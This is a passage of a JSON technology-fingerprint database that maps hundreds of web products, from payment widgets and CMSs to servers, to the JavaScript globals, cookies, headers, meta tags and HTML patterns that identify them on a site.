TurnTo":{"js":["pixlee","pixlee_analytics","turnto","turntoconfig"]},"OnUniverse":{},"Sovrn//Commerce":{"js":["vglnk","vl_cb","vl_disable"]},"SiteManager":{"js":["sm_cookiesmodal","sm_modal"]},"MaxenceDEVCMS":{"meta":{"author":["^maxencedev$"]},"implies":["PHP","MySQL"]},"Sectigo":{},"HubSpot Chat":{"js":["hubspotconversations"]},"Ambassador":{"js":["_mbsy.integrations"]},"Yandex.Metrika":{"js":["yandex_metrika"]},"Stripe":{"cookies":{"__stripe_sid":"","__stripe_mid":""},"js":["stripe.version","__next_data__.props.pageprops.appsettings.stripe_api_public_key","checkout.enabledpayments.stripe"],"html":["\u003cinput[^\u003e]+data-stripe"]},"Coinimp":{"js":["client.anonymous"]},"Daphne":{"headers":{"server":"daphne"},"implies":["TwistedWeb","Python","Zope"]},"Index Exchange":{},"Vue Storefront":{"meta":{"generator":["^vue storefront ([0-9.]+)?$\\;version:\\1"]},"implies":["Vue.js"]},"Sapren":{"meta":{"generator":["^saprenco.com website builder$"]},"implies":["Laravel","PHP","MySQL"]},"ReDoc":{"js":["redoc.version"],"html":["\u003credoc "],"implies":["React"]},"Atome":{"js":["atomewidget"]},"Envo Shop":{},"Chronopost":{},"Payflex":{},"Wigzo":{"js":["wigzo"]},"CallRail":{"js":["calltrk","calltrkswap","crwpver"]},"Popper":{"js":["popper.defaults","popper.applystyles","createpopper"]},"USWDS":{"js":["uswdspresent"]},"Uploadcare":{"js":["uploadcare.version"]},"Vue2-animate":{"implies":["Vue.js","Sass","Animate.css"]},"Phenomic":{"html":["\u003c[^\u003e]+id=\"phenomic(?:root)?\""],"implies":["React"]},"TomTom Maps":{"js":["tomtom.map"]},"Cosmoshop":{},"IONOS":{},"TwistedWeb":{"headers":{"server":"twistedweb(?:/([\\d.]+))?\\;version:\\1"}},"Fera":{"js":["fera"]},"SonarQubes":{"js":["sonarmeasures","sonarrequest"],"html":["\u003clink href=\"/css/sonar\\.css\\?v=([\\d.]+)\\;version:\\1","\u003ctitle\u003esonarqube\u003c/title\u003e"],"meta":{"application-name":["^sonarqubes$"]},"implies":["Java"]},"Webgains":{"js":["itclkq"]},"Shop Pay Installments":{"implies":["Affirm","Shop Pay"]},"VAPTCHA":{"js":["vaptcha"]},"Blossom Travel":{"js":["blossom_travel_data","blossom_travel_pro_data"]},"TDesign":{},"Globo Color Swatch":{"implies":["Shopify"]},"FluxBB":{"html":["\u003cp id=\"poweredby\"\u003e[^\u003c]+\u003ca href=\"https?://fluxbb\\.org/\"\u003e"],"implies":["PHP"]},"YouPay":{"js":["youpay.buttonwindow","youpayready","youpaystatus"],"implies":["Shopify"]},"YouTrack":{"html":["no-title=\"youtrack\"\u003e","data-reactid=\"[^\"]+\"\u003eyoutrack ([0-9.]+)\u003c\\;version:\\1","type=\"application/opensearchdescription\\+xml\" title=\"youtrack\"/\u003e"]},"Lift":{"headers":{"x-lift-version":"(.+)\\;version:\\1"},"implies":["Scala"]},"CyberChimps Responsive":{},"Najva":{"js":["najva.identifyemailsubscriber"]},"Fundiin":{"js":["websitemaximumsuggestfundiinwithprediction","websiteenablesuggestfundiin"]},"Trix":{"js":["trix.version"]},"Moment Timezone":{"implies":["Moment.js"]},"YUI Doc":{"html":["(?:\u003chtml[^\u003e]* yuilibrary\\.com/rdf/[\\d.]+/yui\\.rdf|\u003cbody[^\u003e]+class=\"yui3-skin-sam)"]},"SoundManager":{"js":["baconplayer","soundmanager","soundmanager.version"]},"UsableNet":{"js":["enableusablenetassistive"]},"Square":{"js":["square.analytics","__bootstrap_state__.storeinfo.square_application_id","sqpaymentform"]},"Question2Answer":{"html":["\u003c!-- powered by question2answer"],"implies":["PHP"]},"Weblication":{"meta":{"generator":["^weblication® cms$"]},"implies":["PHP","XSLT"]},"Mastercard":{},"Directus":{"headers":{"x-powered-by":"^directus$"},"implies":["Vue.js","TinyMCE","core-js"]},"libphonenumber":{"js":["libphonenumber.asyoutype","libphonenumber.digits"]},"8base":{},"Growave":{},"Discuz! X":{"js":["discuz_uid","discuzcode","discuzversion"],"meta":{"generator":["discuz! x([\\d\\.]+)?\\;version:\\1"]},"implies":["PHP"]},"Sencha Touch":{},"DX":{},"Syndeca":{"js":["syndecaanalyticsobject"]},"Dotdigital":{"js":["dmpt","dm_insight_id","dmtrackingobjectname"]},"Triple Whale":{},"CSSIgniter Olsen Light":{},"VP-ASP":{"html":["\u003ca[^\u003e]+\u003epowered by vp-asp shopping cart\u003c/a\u003e"],"implies":["Microsoft ASP.NET"]},"Glopal":{},"Suiteshare":{},"Shuttle":{"js":["shuttle.frontapp"],"implies":["Laravel","PHP","Amazon Web Services"]},"Nacelle":{"js":["nacelleeventdata"]},"Angular Material":{"js":["ngmaterial"],"implies":["AngularJS"]},"Kerberos":{"headers":{"www-authenticate":"^kerberos"}},"Vigil":{"implies":["Rust","Docker"]},"Spotify Web API":{"js":["getspotifydata","spotify_tracks","spotifyme"]},"SWFObject":{"js":["swfobject"]},"CherryPy":{"headers":{"server":"cherrypy(?:/([\\d.]+))?\\;version:\\1"}},"Norton Shopping Guarantee":{"js":["do_norton_shopping"],"implies":["Cart Functionality"]},"Feedback Fish":{},"POLi Payment":{"js":["wc_ga_pro.available_gateways.poli"]},"Spotii":{"js":["spotiiconfig"]},"SiteOrigin Page Builder":{},"Rise.ai":{"js":["rise.shop","risestorefront"]},"WebFactory Maintenance":{"js":["mtnc_front_options"]},"TypePad":{"meta":{"generator":["typepad"]}},"amCharts":{"js":["amcharts"],"html":["\u003csvg[^\u003e]*\u003e\u003cdesc\u003ejavascript chart by amcharts ([\\d.]*)\\;version:\\1"]},"BuddyPress":{},"Teads":{},"Sublime":{"js":["loadsublimeskinz"]},"MoinMoin":{"cookies":{"moin_session":""},"js":["show_switch2gui"],"implies":["Python"]},"ThemeZee Donovan":{"js":["donovanscreenreadertext","donovan_menu_title"]},"CNZZ":{"js":["cnzz_protocol"]},"wpBakery":{"meta":{"generator":["wpbakery"]},"implies":["PHP"]},"Kooboo CMS":{"headers":{"x-kooboocms-version":"^(.+)$\\;version:\\1"},"implies":["Microsoft ASP.NET"]},"Friendbuy":{"js":["friendbuy","friendbuyapi.merchantid"]},"Errorception":{"js":["_errs"]},"SAP Commerce Cloud":{"cookies":{"_hybris":""},"js":["smartedit","acc.config.commonresourcepath","acc.config.rootpath","acc.config.themeresourcepath"],"html":["\u003c[^\u003e]+/(?:sys_master|hybr|_ui/(?:.*responsive/)?(?:desktop|common(?:/images|/img|/css|ico)?))/","\u003cscript[^\u003e].*hybris.*.js"],"implies":["Java"]},"Gnuboard":{"js":["g4_is_admin","g5_is_admin","g5_js_ver","g4_bbs_img"],"implies":["PHP","MySQL"]},"Google Ads Conversion Tracking":{"js":["google_trackconversion"]},"UltimatelySocial":{},"Mobify":{"js":["mobify"],"headers":{"x-powered-by":"mobify"}},"Kapture CRM":{"js":["kapchat","kap_chat_js"]},"Teachable":{"cookies":{"_gat_teachabletracker":"\\d+"},"js":["isteachable","teachableicons","trackteachablegaevent"],"meta":{"asset_host":["\\.teachablecdn\\.com"]}},"Chartbeat":{"js":["_sf_async_config","_sf_endpt"]},"Drift":{"js":["drift","driftt"]},"Xajax":{},"Cashew Payments":{"headers":{"content-security-policy":"\\.cashewpayments\\.com"}},"AddThis":{"js":["addthis"]},"YalinHost":{},"Strattic":{"headers":{"x-powered-by":"strattic"},"implies":["WordPress"]},"SEUR":{},"Let's Encrypt":{},"Cookie Information":{"js":["cookieinformation.config.cdnurl"]},"Omurga Sistemi":{"meta":{"generator":["^os-omurga sistemi"]},"implies":["MySQL","PHP"]},"NextGEN Gallery":{"html":["\u003c!-- \u003cmeta name=\"nextgen\" version=\"([\\d.]+)\" /\u003e --\u003e\\;version:\\1"]},"Wufoo":{},"MkDocs":{"meta":{"generator":["^mkdocs-([\\d.]+)\\;version:\\1"]}},"Izooto":{"js":["izooto","_izooto"]},"Jobvite":{"js":["jobvite"]},"34SP.com":{},"Stack Analytix":{"js":["stackanalysis"]},"Beam OutSell":{"js":["outsellairecommendationsisenabled","outsellapp"],"implies":["Shopify"]},"Setmore":{"js":["setmorepopup"]},"DPlayer":{"js":["dplayer.version","dplayer"]},"Premio Chaty":{"js":["chaty_settings.chaty_widgets","chaty_settings.object_settings"]},"Web Stories":{"implies":["AMP"]},"SpurIT Recurring Payments App":{"js":["spurit.recurringinvoices"],"implies":["Shopify"]},"RebelMouse":{"headers":{"x-rebelmouse-cache-control":"","x-rebelmouse-surrogate-control":""},"html":["\u003c!-- powered by rebelmouse\\."]},"Distributor":{"headers":{"x-distributor":"yes"}},"Trustindex Google Reviews":{},"Square Online":{"js":["app_origin"],"implies":["Weebly"]},"SMF":{"js":["smf_"],"html":["credits/?\" title=\"simple machines forum\" target=\"_blank\" class=\"new_win\"\u003esmf ([0-9.]+)\u003c/a\u003e\\;version:\\1"],"implies":["PHP"]},"LiveIntent":{"js":["li.advertiserid"]},"Newspack by Automattic":{"headers":{"host-header":"newspack"},"implies":["Newspack"]},"LazySizes":{"js":["lazysizes","lazysizesconfig"]},"Jumbo":{"implies":["Shopify"]},"Mention Me":{"js":["mentionme"]},"Qikify":{},"Queue-it":{"js":["queueit_clientside_config","queueit.javascript.version"]},"Noddus":{},"Semantic UI":{"html":["\u003clink[^\u003e]+semantic(?:\\.min)\\.css\""]},"SHE Media":{"js":["shemedia","blogherads.adq"]},"PhotoShelter for Brands":{},"Tray":{},"Frontastic":{"headers":{"frontastic-request-id":""}},"Tritac Katana Commerce":{"meta":{"powered-by":["^katana\\scommerce$"]}},"Alpine Linux":{"headers":{"x-powered-by":"alpine"}},"Legal Monster":{"js":["legal.__version__"]},"Shopify":{"cookies":{"_shopify_y":"","_shopify_s":""},"js":["shopify","shopifyapi","shopifycustomer"],"headers":{"x-shopify-stage":"","x-shopid":"\\;confidence:50"},"meta":{"shopify-checkout-api-token":[],"shopify-digital-wallet":[]}},"Azure CDN":{"headers":{"x-ec-debug":"","server":"^(?:ecacc|ecs|ecd)"},"implies":["Azure"]},"SalesFire":{"js":["loadsalesfire"]},"Cratejoy":{"cookies":{"cratejoy_muffin42":"","statjoy_metrics":""},"js":["statjoyserver"]},"OneTrust":{"cookies":{"optanonconsent":""}},"Cecil":{"meta":{"generator":["^cecil(?: ([0-9.]+))?$\\;version:\\1"]}},"Colibri WP":{"js":["colibri","colibridata","colibrifrontenddata"]},"ShoppingGives":{"js":["sgobservables.getcharities"]},"Cookie Information plugin":{"implies":["Cookie Information"]},"Bookero":{"js":["bookero_config"]},"Coin Currency Converter":{"implies":["Shopify"]},"Isotope":{"js":["isotope","init_isotope"]},"WEBDEV":{"headers":{"webdevsrc":""},"html":["\u003c!-- [a-za-z0-9_]+ [\\d/]+ [\\d:]+ webdev \\d\\d ([\\d.]+) --\u003e\\;version:\\1"],"meta":{"generator":["^webdev$"]}},"Nosto Visual UGC":{"js":["stackla","stacklawidgetjsonp"]},"My Food Link":{"js":["myfoodlink","myfoodlink"]},"total.js":{"headers":{"x-powered-by":"^total\\.js"},"implies":["Node.js"]},"JobberBase":{"js":["jobber"],"meta":{"generator":["jobberbase"]},"implies":["PHP"]},"CMS Made Simple":{"cookies":{"cmssessid":""},"meta":{"generator":["cms made simple"]},"implies":["PHP"]},"SPNEGO":{"headers":{"www-authenticate":"^negotiate"}},"SuperLemon app":{"implies":["WhatsApp Business Chat"]},"SoundCloud":{"js":["sc.widget.events.play"]},"Hostgator":{},"Tagboard":{},"Pygments":{"html":["\u003clink[^\u003e]+pygments\\.css[\"']"]},"GetYourGuide":{},"Theme Horse NewsCard":{},"Windows CE":{"headers":{"server":"\\bwince\\b"}},"OptiMonk":{},"Magazord":{"meta":{"web-author":["^magazord$"]}},"Linx Impulse":{"js":["linx.banner","linximpulse.config","linximpulseinitialized"]},"Candid Themes Fairy":{},"Firebase":{"js":["firebase.sdk_version"],"headers":{"vary":"x-fh-requested-host"}},"Play":{"cookies":{"play_session":""},"implies":["Scala"]},"etika":{"js":["etikaproductjshelper","etikabannerinject","etikaglobal"]},"Saber":{"html":["\u003cdiv [^\u003e]*id=\"_saber\""],"meta":{"generator":["^saber v([\\d.]+)$\\;version:\\1"]},"implies":["Vue.js"]},"LayBuy":{"js":["laybuyhelper","checkout.enabledpayments.laybuy","laybuyenablecart","laybuymoneyoverides","wc_ga_pro.available_gateways.laybuy"]},"Snoobi":{"js":["snoobi"]},"Blue":{"js":["bluecpy_id","blueproductid"]},"Reddit":{"js":["reddit"],"html":["(?:\u003ca[^\u003e]+powered by reddit|powered by \u003ca[^\u003e]+\u003ereddit\u003c)"],"implies":["Python"]},"DailyKarma":{"js":["dkwidgetinit","dk_widget"]},"Leaseweb":{},"OpenSSL":{"headers":{"server":"openssl(?:/([\\d.]+[a-z]?))?\\;version:\\1"}},"Ametys":{"meta":{"generator":["(?:ametys|anyware technologies)"]},"implies":["Java"]},"Sellingo":{"js":["sellingoquantitycalc"]},"HappyFox Live Chat":{"js":["happyfoxchatobject"]},"ipstack":{"js":["env.ipstackaccesstoken"]},"Digital Showroom":{},"ShipTection":{"implies":["Shopify"]},"PayBright":{"js":["_paybright_config"]},"UserWay":{},"Hextom Ultimate Sales Boost":{"js":["hextom_usb","ht_usb.isloaded"],"implies":["Shopify"]},"Shoper":{"js":["shoper"]},"BOOM":{"headers":{"x-supplied-by":"mana"},"meta":{"generator":["^boom site builder$"]},"implies":["WordPress"]},"Fabric":{"meta":{"powered-by":["fabricinc"]}},"Datadome":{"cookies":{"datadome":"","datadome-_zldp":"","datadome-_zldt":""},"headers":{"server":"^datadome$","x-datadome":"","x-datadome-cid":""}},"Fasterize":{"js":["fstrz"]},"AddShoppers":{},"HeadJS":{"js":["head.browser.name"],"html":["\u003c[^\u003e]*data-headjs-load"]},"Koala Framework":{"html":["\u003c!--[^\u003e]+this website is powered by koala web framework cms"],"meta":{"generator":["^koala web framework cms"]},"implies":["PHP"]},"SimpleHTTP":{"headers":{"server":"simplehttp(?:/([\\d.]+))?\\;version:\\1"}},"Riskified":{"js":["riskx","riskifiedbeaconload"],"headers":{"server":"riskified server"},"html":["\u003c[^\u003e]*beacon\\.riskified\\.com","\u003c[^\u003e]*c\\.riskified\\.com"]},"Microsoft Application Insights":{"js":["appinsights.addtelemetryinitializer","appinsightssdk","appinsights.severitylevel"]},"Jetshop":{"js":["jetshopdata"],"html":["\u003c(?:div|aside) id=\"jetshop-branding\"\u003e"]},"Apollo":{"js":["__apollo_client__","__apollo_client__.version"],"implies":["GraphQL","TypeScript\\;confidence:50"]},"Acquia Cloud Platform CDN":{"headers":{"via":"acquia platform cdn (.+)\\;version:\\1"}},"Globo Also Bought":{"implies":["Shopify"]},"Percona":{},"Sections.design Shopify App Optimization":{"implies":["Shopify"]},"GitLab CI/CD":{"meta":{"description":["gitlab ci/cd is a tool built into gitlab for software development through continuous methodologies."]},"implies":["Ruby on Rails"]},"FAST Search for SharePoint":{"html":["\u003cinput[^\u003e]+ name=\"parametricsearch"],"implies":["Microsoft SharePoint","Microsoft ASP.NET"]},"CacheFly":{"headers":{"server":"^cfs ","x-cf1":"","x-cf2":""}},"Woltlab Community Framework":{"implies":["PHP"]},"Coinbase Commerce":{},"qiankun":{},"Koa":{"headers":{"x-powered-by":"^koa$"},"implies":["Node.js"]},"Google Analytics Enhanced eCommerce":{"js":["gaplugins.ec"],"implies":["Google Analytics","Cart Functionality"]},"Crypto-Loot":{"js":["cryptoloot","crlt.config.asmjs_name"]},"Listrak":{"js":["_ltksubscriber","_ltksignup"]},"Texthelp":{},"Matomo Tag Manager":{"js":["matomotagmanager"]},"AudioEye":{"js":["$ae.attrhooks","window.audioeye.version"]},"Django":{"cookies":{"django_language":""},"js":["__admin_media_prefix__","django"],"html":["(?:powered by \u003ca[^\u003e]+\u003edjango ?([\\d.]+)?\u003c\\/a\u003e|\u003cinput[^\u003e]*name=[\"']csrfmiddlewaretoken[\"'][^\u003e]*\u003e)\\;version:\\1"],"implies":["Python"]},"Spryker":{"js":["spryker.config"],"meta":{"generator":["spryker"]}},"SpotHopper":{"js":["spothopper"]},"OceanWP":{},"ElasticPress":{"headers":{"x-elasticpress-query":""},"implies":["Elasticsearch"]},"Visa Checkout":{},"LatitudePay":{"js":["checkout.enabledpayments.latitudepay","wc_ga_pro.available_gateways.latitudepay"]},"Tamara":{"js":["tamaraproductwidget"]},"WebHostUK":{},"Elementor":{"js":["elementorfrontend.getelements"],"html":["\u003cdiv class=(?:\"|')[^\"']*elementor","\u003csection class=(?:\"|')[^\"']*elementor","\u003clink [^\u003e]*href=(?:\"|')[^\"']*elementor/assets","\u003clink [^\u003e]*href=(?:\"|')[^\"']*uploads/elementor/css"]},"History":{},"MDUI":{"js":["_mduieventid","mdui.drawer"]},"Cloudways":{"headers":{"cache-provider":"cloudways-cache-de"}},"WordAds":{},"MailerLite Website Builder":{},"StimulusReflex":{"implies":["Ruby on Rails","Stimulus"]},"Pushnami":{},"hoolah":{"js":["hoolah"]},"SplitIt":{"js":["wc_ga_pro.available_gateways.splitit","splitit"]},"Hetzner":{"headers":{"x-powered-by":"hetzner"}},"IrisLMS":{},"Fanplayr":{"js":["fanplayr.platform.version"]},"LOU":{},"UserZoom":{},"sIFR":{},"Chorus":{"cookies":{"chorus_preferences":"","_chorus_geoip_continent":""},"js":["chorus.addscript","chorusads.beforeadsrequested","choruscampaigns.recordclickurl"]},"FrontPage":{"meta":{"progid":["^frontpage\\."],"generator":["microsoft frontpage(?:\\s((?:express )?[\\d.]+))?\\;version:\\1"]}},"TwicPics":{"headers":{"server":"^twicpics/\\d+\\.\\d+\\.\\d+$"}},"Vigbo":{"cookies":{"_gphw_mode":""},"html":["\u003clink[^\u003e]* href=[^\u003e]+(?:\\.vigbo\\.com|\\.gophotoweb\\.com)"]},"Veoxa":{"js":["vuveoxacontent"],"html":["\u003cimg [^\u003e]*src=\"[^\"]+tracking\\.veoxa\\.com"]},"Widen":{"js":["widensessiontimer","widenui"]},"ExactMetrics":{"js":["exactmetrics","exactmetrics_frontend"]},"SoteShop":{"cookies":{"soteshop":"^\\w+$"},"implies":["PHP"]},"Dominate WooCommerce":{},"Google Font API":{"js":["webfonts"],"html":["\u003clink[^\u003e]* href=[^\u003e]+fonts\\.(?:googleapis|google)\\.com"]},"Java Servlet":{"headers":{"x-powered-by":"servlet(?:\\/([\\d.]+))?\\;version:\\1"},"implies":["Java"]},"Smartstore":{"cookies":{"smartstore.customer":"","smartstore.visitor":""},"html":["\u003c!--powered by smart[ss]tore","\u003cmeta property=\"sm:pagedata\""],"meta":{"generator":["^smart[ss]tore(.net)? (.+)$\\;version:\\2"]},"implies":["Microsoft ASP.NET"]},"anime.js":{"js":["anime.version"]},"Ueeshop":{"js":["ueeshop_config"]},"AlternC":{},"Telescope":{"js":["telescope"],"implies":["Meteor","React"]},"APC":{},"IIS":{"headers":{"server":"^(?:microsoft-)?iis(?:/([\\d.]+))?\\;version:\\1"},"implies":["Windows Server"]},"Nicepage":{"js":["_npaccordioninit","_npdialogsinit"],"meta":{"generator":["nicepage\\s([\\d\\.]+)\\;version:\\1"]}},"ThemeGrill Cenote":{},"Strapi":{"headers":{"x-powered-by":"^strapi"}},"RackCache":{"headers":{"x-rack-cache":""},"implies":["Ruby"]},"Chinese Menu Online":{},"ArcGIS API for JavaScript":{},"Raspbian":{"headers":{"server":"raspbian","x-powered-by":"raspbian"}},"Reputon":{},"Weblium":{"implies":["Node.js","OpenResty","React"]},"CodeMirror":{"js":["codemirror","codemirror.version"]},"Decibel":{"js":["decibelinsight","decibelinsightlayer"]},"MysteryThemes News Portal":{},"OneAPM":{"js":["bweum"]},"CookieHub":{},"Skai":{"js":["ktag_constants"]},"SiteOrigin Vantage":{},"Smartling":{"js":["populatesmartlingddl"]},"Globo Form Builder":{"implies":["Shopify"]},"Apache Tomcat":{"headers":{"server":"^apache-coyote","x-powered-by":"\\btomcat\\b(?:-([\\d.]+))?\\;version:\\1"},"implies":["Java"]},"Drop A Hint":{"js":["dropahint.baseurl","dropahinttypeproduct"]},"Amazon Associates":{},"Zenfolio":{"js":["zenfolio"]},"Arastta":{"headers":{"arastta":"^(.+)$\\;version:\\1","x-arastta":""},"implies":["PHP"]},"Hostens":{},"FullContact":{"js":["fullcontact"]},"Quantcast Choice":{},"Erlang":{"headers":{"server":"erlang( otp/(?:[\\d.abr-]+))?\\;version:\\1"}},"SilverStripe":{"html":["powered by \u003ca href=\"[^\u003e]+silverstripe"],"meta":{"generator":["^silverstripe"]},"implies":["PHP"]},"Enable":{"js":["enable_toolbar.is_premium"]},"Hermes":{},"Lotus Domino":{"headers":{"server":"lotus-domino"},"implies":["Java"]},"Themes4Wp Bulk":{},"Gutenberg Blocks":{},"Lightbox":{"html":["\u003clink [^\u003e]*href=\"[^\"]+lightbox(?:\\.min)?\\.css"]},"Littledata":{"js":["littledatalayer","littledatalayer.version"],"implies":["Shopify"]},"Clicky":{"js":["clicky"]},"Google PageSpeed":{"headers":{"x-mod-pagespeed":"([\\d.]+)\\;version:\\1","x-page-speed":"(.+)\\;version:\\1"}},"Elasticsearch":{},"Verizon Media":{},"Amazon S3":{"headers":{"content-security-policy":"s3[^ ]*amazonaws\\.com\\s","content-security-policy-report-only":"s3[^ ]*\\.amazonaws\\.com\\s","server":"^amazons3$"},"implies":["Amazon Web Services"]},"SiteGuard WP Plugin":{},"Ometria":{"cookies":{"ometria":""},"js":["addometriabasket","addometriaidentify","ometria"]},"Deta":{"headers":{"server":"^deta$"}},"PlatformOS":{"headers":{"x-powered-by":"^platformos$"}},"HetrixTools":{"js":["htoolz"],"headers":{"content-security-policy":"\\.hetrixtools\\.com"}},"Theme Freesia ShoppingCart":{"js":["shoppingcart_slider_value"]},"Twenty Fifteen":{},"Atlassian Statuspage":{"headers":{"x-statuspage-skip-logging":"","x-statuspage-version":""},"html":["\u003ca[^\u003e]*href=\"https?://(?:www\\.)?statuspage\\.io/powered-by[^\u003e]+\u003e"]},"MailChimp for WordPress":{"js":["mc4wp"],"implies":["MailChimp"]},"Countly":{"js":["countly"]},"Catberry.js":{"js":["catberry","catberry.version"],"headers":{"x-powered-by":"catberry"},"implies":["Node.js"]},"Dailymotion":{"meta":{"name":["dailymotion-domain-verification"]}},"KineticJS":{"js":["kinetic","kinetic.version"]},"Linx Commerce":{"js":["ezgacfg.config.store","ezgacfg.shopper","linximpulse.config.integrationflags.platformprovider"]},"Akismet":{"js":["ak_js.checkvalidity"]},"NagishLi":{"js":["$nagishli","initnagishli","nagishli_commons.version"]},"FinanceAds":{},"Easylog":{},"Keen Delivery":{},"ResponsiveVoice":{"js":["responsivevoice.version"]},"Sarka-SPIP":{"meta":{"generator":["sarka-spip(?:\\s([\\d.]+))?\\;version:\\1"]},"implies":["SPIP"]},"Yext":{"js":["answers._analyticsreporterservice._baseurl"]},"AndersNoren Hitchcock":{},"ClickCease":{},"Pimcore":{"headers":{"x-powered-by":"^pimcore$"},"implies":["PHP"]},"Selly":{},"Infolinks":{"js":["infolinks_pid","infolinks_wsid"]},"Bizweb":{"js":["bizweb"]},"Element UI":{"html":["\u003c(?:div|button) class=\"el-(?:table-column|table-filter|popper|pagination|pager|select-group|form|form-item|color-predefine|color-hue-slider|color-svpanel|color-alpha-slider|color-dropdown|color-picker|badge|tree|tree-node|select|message|dialog|checkbox|checkbox-button|checkbox-group|container|steps|carousel|menu|menu-item|submenu|menu-item-group|button|button-group|card|table|select-dropdown|row|tabs|notification|radio|progress|progress-bar|tag|popover|tooltip|cascader|cascader-menus|cascader-menu|time-spinner|spinner|spinner-inner|transfer|transfer-panel|rate|slider|dropdown|dropdown-menu|textarea|input|input-group|popup-parent|radio-group|main|breadcrumb|time-range-picker|date-range-picker|year-table|date-editor|range-editor|time-spinner|date-picker|time-panel|date-table|month-table|picker-panel|collapse|collapse-item|alert|select-dropdown|select-dropdown__empty|select-dropdown__wrap|select-dropdown__list|scrollbar|switch|carousel|upload|upload-dragger|upload-list|upload-cover|aside|input-number|header|message-box|footer|radio-button|step|autocomplete|autocomplete-suggestion|loading-parent|loading-mask|loading-spinner|)"],"implies":["Vue.js"]},"Oracle BlueKai":{"js":["bluekailoaded"]},"Application Request Routing":{"headers":{"x-powered-by":"^arr/([\\d\\.]+)$\\;version:\\1"},"implies":["IIS"]},"Solve Media":{"js":["acpuzzle","_acpuzzle","_adcopy-puzzle-image-image","adcopy-puzzle-image-image"]},"CJDropshipping app":{},"Emotive":{"js":["emotivepopupinitializing"]},"Flocktory":{"js":["flocktory","flocktorypurchase"]},"Mojolicious":{"headers":{"server":"^mojolicious","x-powered-by":"mojolicious"},"implies":["Perl"]},"Siteglide":{"implies":["PlatformOS"]},"Act-On":{"js":["acton"]},"Klarna Checkout":{"cookies":{"ku1-sid":"","ku1-vid":""},"js":["klarnaonsiteservice","_klarnacheckout"],"headers":{"content-security-policy":"\\.klarna(?:cdn|services)\\.(?:net|com)"}},"RTB House":{},"Fusion Ads":{"js":["_fusion"]},"A-Frame":{"js":["aframe.version"],"html":["\u003ca-scene[^\u003c\u003e]*\u003e"],"implies":["three.js"]},"Zabbix":{"js":["zbxcallpostscripts"],"html":["\u003cbody[^\u003e]+zbxcallpostscripts"],"meta":{"author":["zabbix sia\\;confidence:70"]},"implies":["PHP"]},"OpenWeb":{"js":["spotim.initconversation"],"meta":{"spotim-ads":[]}},"T1 Comercios":{"meta":{"generator":["^t1comercios$"]}},"Sulu":{"headers":{"x-generator":"sulu/?(.+)?$\\;version:\\1"},"implies":["Symfony"]},"SPDY":{"headers":{"x-firefox-spdy":"\\d\\.\\d"}},"Express":{"headers":{"x-powered-by":"^express(?:$|,)"},"implies":["Node.js"]},"HTTP/2":{"headers":{"alt-svc":"h2","x-firefox-spdy":"h2"}},"Google App Engine":{},"Sortable":{"js":["deployads"]},"Yoast SEO for Shopify":{"html":["\u003c!-- this site is optimized with yoast seo for shopify --\u003e"],"implies":["Shopify"]},"DatoCMS":{"headers":{"content-security-policy":"\\.datocms-assets\\.com"}},"Swagify":{"js":["swagify"]},"Outbrain":{"js":["ob_adv_id","ob_releasever","outbrainpermalink","obapi.version"]},"Zoho Mail":{"implies":["Zoho"]},"Affiliate Future":{},"Deno":{},"Hexo":{"html":["powered by \u003ca href=\"https?://hexo\\.io/?\"[^\u003e]*\u003ehexo\u003c/"],"meta":{"generator":["hexo(?: v?([\\d.]+))?\\;version:\\1"]},"implies":["Node.js"]},"GetFeedback":{"js":["usabilla_live"]},"DHL":{},"Neos Flow":{"headers":{"x-flow-powered":"flow/?(.+)?$\\;version:\\1"},"implies":["PHP"]},"SyntaxHighlighter":{"js":["syntaxhighlighter"],"html":["\u003c(?:script|link)[^\u003e]*sh(?:core|brush|themedefault)"]},"Keptify":{"js":["keptify_base_url","_keptify.version"]},"Tiki Wiki CMS Groupware":{"meta":{"generator":["^tiki"]}},"LangShop":{"js":["langshop","langshopconfig","langshopsdk"],"implies":["Shopify"]},"Pure CSS":{"html":["\u003clink[^\u003e]+(?:([\\d.])+/)?pure(?:-min)?\\.css\\;version:\\1","\u003cdiv[^\u003e]+class=\"[^\"]*pure-u-(?:sm-|md-|lg-|xl-)?\\d-\\d"]},"MyWebsite Now":{"meta":{"generator":["mywebsite now"]},"implies":["React","Node.js","GraphQL"]},"Addsearch":{"js":["addsearchclient","addsearchui"]},"Rakuten Advertising":{},"PhotoSwipe":{"js":["photoswipeui_default","photoswipeparsehash","photoswipe"]},"Reflektion":{"js":["rfkparams","rfk_deploy_time"]},"Huberway Analytics":{},"jQuery DevBridge Autocomplete":{"js":["$.devbridgeautocomplete","jquery.devbridgeautocomplete"],"implies":["jQuery"]},"WooCommerce PayPal Checkout Payment Gateway":{"implies":["PayPal"]},"Shopline":{"js":["shoplytics"]},"Envo Storefront":{},"Webtrends":{"js":["wtoptimize","webtrends"],"html":["\u003cimg[^\u003e]+id=\"dcsimg\"[^\u003e]+webtrends"]},"Interact":{"js":["interactapp.name","interactpromotionobject"]},"Ushahidi":{"cookies":{"ushahidi":""},"js":["ushahidi"],"implies":["PHP","MySQL","OpenLayers"]},"Think Up Themes Consulting":{},"WidgetWhats":{"js":["wwwa_loaded"]},"JsRender":{"implies":["JsViews"]},"langify":{"js":["langify","langify","langify.settings.switcher.version"]},"GLS":{},"FlexSlider":{"implies":["jQuery"]},"VTEX":{"cookies":{"vtexworkspace":"","vtex_session":"","vtexfingerprint":"","vtexstoreversion":""},"js":["vtex"],"headers":{"powered":"vtex","server":"^vtex io$"}},"HelpDocs":{"js":["hdutils","hd_instant_search","hdanalytics"]},"Mobirise":{"html":["\u003c!-- site made with mobirise website builder v([\\d.]+)\\;version:\\1"],"meta":{"generator":["^mobirise v([\\d.]+)\\;version:\\1"]}},"Sucuri":{"headers":{"x-sucuri-id":"","x-sucuri-cache:":""}},"Textpattern CMS":{"meta":{"generator":["textpattern"]},"implies":["PHP","MySQL"]},"Microsoft Clarity":{"js":["clarity"]},"Zakeke Interactive Product Designer":{"implies":["Zakeke"]},"AndersNoren Hemingway":{},"Wishlist King":{"js":["appmate.version","appmate.wk"]},"Marko":{"js":["markocomponent","markosections","markovars"],"implies":["Node.js"]},"Subrion":{"headers":{"x-powered-cms":"subrion cms"},"meta":{"generator":["^subrion "]},"implies":["PHP"]},"ALL-INKL":{},"J2Store":{"js":["j2storeurl"],"implies":["Joomla"]},"Fresco":{"js":["fresco.version"]},"Rickshaw":{"js":["rickshaw"],"implies":["D3"]},"Patreon":{},"Macaron":{"implies":["Go"]},"Trustspot":{"js":["trustspot_key"]},"HulkApps Form Builder":{"implies":["Shopify"]},"Web Shop 